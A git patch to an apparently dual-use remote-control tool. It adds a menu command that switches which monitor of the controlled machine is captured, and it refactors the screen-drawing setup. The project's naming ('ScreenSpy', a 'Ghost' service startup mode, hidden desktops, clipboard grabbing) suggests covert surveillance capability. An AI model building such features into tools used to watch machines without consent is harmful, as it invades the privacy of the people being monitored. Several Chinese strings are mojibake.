From 9a3277d6380a8c4cffd7a639f2c28fd6050af9a6 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Fri, 28 Nov 2025 20:53:28 +0100 Subject: [PATCH] Feature: Add menu to switch screen for remote control --- client/ScreenCapture.h | 7 ++- client/ScreenManager.cpp | 21 ++++++++- client/ScreenManager.h | 5 +++ common/commands.h | 1 + server/2015Remote/ScreenSpyDlg.cpp | 72 +++++++++++++++++++++--------- server/2015Remote/ScreenSpyDlg.h | 1 + 6 files changed, 83 insertions(+), 24 deletions(-) diff --git a/client/ScreenCapture.h b/client/ScreenCapture.h index e0e5bed..3cc97f9 100644 --- a/client/ScreenCapture.h +++ b/client/ScreenCapture.h @@ -133,6 +133,7 @@ public: int m_GOP; // 关键帧间隔 bool m_SendKeyFrame; // 发送关键帧 CX264Encoder *m_encoder; // 编码器 + int m_nScreenCount; // 屏幕数量 ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF, BOOL all = FALSE) : m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr), @@ -141,11 +142,11 @@ public: m_FrameID(0), m_GOP(DEFAULT_GOP), m_iScreenX(0), m_iScreenY(0), m_biBitCount(n), m_SendKeyFrame(false), m_encoder(nullptr) { - m_BlockNum = 8; m_ThreadPool = new ThreadPool(m_BlockNum); static auto monitors = GetAllMonitors(); static int index = 0; + m_nScreenCount = monitors.size(); if (all && !monitors.empty()) { int idx = index++ % (monitors.size()+1); if (idx == 0) { @@ -207,6 +208,10 @@ public: SAFE_DELETE(m_encoder); } + virtual int GetScreenCount() const { + return m_nScreenCount; + } + virtual int SendQuality(int quality) { int old = m_SendQuality; diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 31df49d..11fd913 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -111,6 +111,18 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan m_hWorkThread = __CreateThread(NULL,0, WorkThreadProc,this,0,NULL); } +bool CScreenManager::SwitchScreen() { + if (m_ScreenSpyObject == NULL || m_ScreenSpyObject->GetScreenCount() <= 1) + return false; + m_bIsWorking = FALSE; + DWORD s = WaitForSingleObject(m_hWorkThread, 3000); + if (s == WAIT_TIMEOUT) { + TerminateThread(m_hWorkThread, -1); + } + m_bIsWorking = TRUE; + m_hWorkThread = __CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL); + return true; +} std::wstring ConvertToWString(const std::string& multiByteStr) { @@ -190,8 +202,8 @@ void CScreenManager::InitScreenSpy() DXGI = param->buffer[0]; algo = param->length > 1 ? param->buffer[1] : algo; all = param->length > 2 ? param->buffer[2] : all; - delete param; } + m_pUserParam = param; } else { DXGI = (int)user; } @@ -224,7 +236,7 @@ void CScreenManager::InitScreenSpy() SetThreadDesktop(g_hDesk = hDesk); } } - + SAFE_DELETE(m_ScreenSpyObject); if ((USING_DXGI == DXGI && IsWindows8orHigher())) { m_isGDI = FALSE; auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all); @@ -355,6 +367,7 @@ CScreenManager::~CScreenManager() delete m_ScreenSpyObject; m_ScreenSpyObject = NULL; + SAFE_DELETE(m_pUserParam); } void RunFileReceiver(CScreenManager *mgr, const std::string &folder) @@ -404,6 +417,10 @@ void FinishSend(void* user) VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { switch(szBuffer[0]) { + case COMMAND_SWITCH_SCREEN: { + SwitchScreen(); + break; + } case COMMAND_NEXT: { NotifyDialogIsOpen(); break; diff --git a/client/ScreenManager.h b/client/ScreenManager.h index 8fce395..8af1612 100644 --- a/client/ScreenManager.h +++ b/client/ScreenManager.h @@ -19,6 +19,8 @@ bool IsWindows8orHigher(); class IOCPClient; +struct UserParam; + class CScreenManager : public CManager { public: @@ -37,6 +39,7 @@ public: VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength); VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength); + UserParam *m_pUserParam = NULL; INT_PTR m_ptrUser; HDESK g_hDesk; BOOL m_isGDI; @@ -56,6 +59,8 @@ public: bool IsRunAsService() const { return m_conn ? m_conn->iStartup == Startup_GhostMsc : false; } + bool SwitchScreen(); + // 虚拟桌面 BOOL m_virtual; POINT m_point; diff --git a/common/commands.h b/common/commands.h index 4adbfdb..bb68f8a 100644 --- a/common/commands.h +++ b/common/commands.h @@ -195,6 +195,7 @@ enum { COMMAND_GET_FOLDER = 66, // 获取目录 COMMAND_GET_FILE = 67, // 获取文件 COMMAND_SEND_FILE = 68, // 发送文件 + COMMAND_SWITCH_SCREEN = 69, // 服务端发出的标识 TOKEN_AUTH = 100, // 要求验证 diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 07384c1..70d28f0 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -26,6 +26,7 @@ enum { IDM_ADAPTIVE_SIZE, IDM_SAVEAVI, IDM_SAVEAVI_H264, + IDM_SWITCHSCREEN, }; IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog) @@ -83,6 +84,10 @@ extern "C" char* __imp_strtok(char* str, const char* delim) CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject) : DialogBase(CScreenSpyDlg::IDD, Parent, IOCPServer, ContextObject, 0) { + m_hFullDC = NULL; + m_hFullMemDC = NULL; + m_BitmapHandle = NULL; + m_lastMouseMove = 0; m_lastMousePoint = {}; m_pCodec = nullptr; @@ -194,27 +199,38 @@ void CScreenSpyDlg::OnLButtonDblClk(UINT nFlags, CPoint point) CDialog::OnLButtonDblClk(nFlags, point); } +void CScreenSpyDlg::PrepareDrawing(const LPBITMAPINFO bmp) { + if (m_hFullDC) ::ReleaseDC(m_hWnd, m_hFullDC); + if (m_hFullMemDC) ::DeleteDC(m_hFullMemDC); + if (m_BitmapHandle) ::DeleteObject(m_BitmapHandle); + m_BitmapData_Full = NULL; + + CString strString; + strString.Format("%s - 杩滅▼妗岄潰鎺у埗 %d脳%d", m_IPAddress, bmp->bmiHeader.biWidth, bmp->bmiHeader.biHeight); + SetWindowText(strString); + + m_hFullDC = ::GetDC(m_hWnd); + SetStretchBltMode(m_hFullDC, HALFTONE); + SetBrushOrgEx(m_hFullDC, 0, 0, NULL); + m_hFullMemDC = CreateCompatibleDC(m_hFullDC); + m_BitmapHandle = CreateDIBSection(m_hFullDC, bmp, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); + + SelectObject(m_hFullMemDC, m_BitmapHandle); + + SetScrollRange(SB_HORZ, 0, bmp->bmiHeader.biWidth); + SetScrollRange(SB_VERT, 0, bmp->bmiHeader.biHeight); + + GetClientRect(&m_CRect); + m_wZoom = ((double)bmp->bmiHeader.biWidth) / ((double)(m_CRect.Width())); + m_hZoom = ((double)bmp->bmiHeader.biHeight) / ((double)(m_CRect.Height())); +} + BOOL CScreenSpyDlg::OnInitDialog() { CDialog::OnInitDialog(); SetIcon(m_hIcon,FALSE); - CString strString; - strString.Format("%s - 杩滅▼妗岄潰鎺у埗 %d脳%d", m_IPAddress, - m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); - SetWindowText(strString); - - m_hFullDC = ::GetDC(m_hWnd); - SetStretchBltMode(m_hFullDC, HALFTONE); - SetBrushOrgEx(m_hFullDC, 0, 0, NULL); - m_hFullMemDC = CreateCompatibleDC(m_hFullDC); - m_BitmapHandle = CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, - DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); //鍒涘缓搴旂敤绋嬪簭鍙互鐩存帴鍐欏叆鐨勩佷笌璁惧鏃犲叧鐨勪綅鍥 - - SelectObject(m_hFullMemDC, m_BitmapHandle);//鎷╀竴瀵硅薄鍒版寚瀹氱殑璁惧涓婁笅鏂囩幆澧 - - SetScrollRange(SB_HORZ, 0, m_BitmapInfor_Full->bmiHeader.biWidth); //鎸囧畾婊氬姩鏉¤寖鍥寸殑鏈灏忓煎拰鏈澶у - SetScrollRange(SB_VERT, 0, m_BitmapInfor_Full->bmiHeader.biHeight);//1366 768 + PrepareDrawing(m_BitmapInfor_Full); CMenu* SysMenu = GetSystemMenu(FALSE); if (SysMenu != NULL) { @@ -231,7 +247,11 @@ BOOL CScreenSpyDlg::OnInitDialog() SysMenu->AppendMenu(MF_SEPARATOR); SysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "鑾峰彇鍓创鏉(&R)"); SysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "璁剧疆鍓创鏉(&L)"); + SysMenu->AppendMenu(MF_STRING, IDM_SWITCHSCREEN, "鍒囨崲鏄剧ず鍣(&M)"); SysMenu->AppendMenu(MF_SEPARATOR); + + BOOL all = THIS_CFG.GetInt("settings", "MultiScreen"); + SysMenu->EnableMenuItem(IDM_SWITCHSCREEN, all ? MF_ENABLED : MF_GRAYED); } m_bIsCtrl = THIS_CFG.GetInt("settings", "DXGI") == USING_VIRTUAL; @@ -246,10 +266,6 @@ BOOL CScreenSpyDlg::OnInitDialog() SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED); SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO)); - - GetClientRect(&m_CRect); - m_wZoom = ((double)m_BitmapInfor_Full->bmiHeader.biWidth) / ((double)(m_CRect.Width())); - m_hZoom = ((double)m_BitmapInfor_Full->bmiHeader.biHeight) / ((double)(m_CRect.Height())); ShowScrollBar(SB_BOTH, !m_bAdaptiveSize); SendNext(); @@ -323,6 +339,14 @@ VOID CScreenSpyDlg::OnReceiveComplete() UpdateServerClipboard(str.c_str(), str.length()); break; } + case TOKEN_BITMAPINFO: { + SAFE_DELETE(m_BitmapInfor_Full); + ULONG ulBitmapInforLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; + m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[ulBitmapInforLength]; + m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, ulBitmapInforLength, 1); + PrepareDrawing(m_BitmapInfor_Full); + break; + } default: { TRACE("CScreenSpyDlg unknown command: %d!!!\n", int(cmd)); } @@ -611,7 +635,13 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) } break; } - + + case IDM_SWITCHSCREEN: { + BYTE bToken[2] = { COMMAND_SWITCH_SCREEN }; + m_ContextObject->Send2Client(bToken, sizeof(bToken)); + break; + } + case IDM_TRACE_CURSOR: { // 璺熻釜琚帶绔紶鏍 m_bIsTraceCursor = !m_bIsTraceCursor; //杩欓噷鍦ㄦ敼鍙樻暟鎹 SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);//鍦ㄨ彍鍗曟墦閽╀笉鎵撻挬 diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h index a9fc5d8..8425722 100644 --- a/server/2015Remote/ScreenSpyDlg.h +++ b/server/2015Remote/ScreenSpyDlg.h @@ -122,6 +122,7 @@ protected: DECLARE_MESSAGE_MAP() public: + void PrepareDrawing(const LPBITMAPINFO bmp); virtual BOOL OnInitDialog(); afx_msg void OnClose(); afx_msg void OnPaint();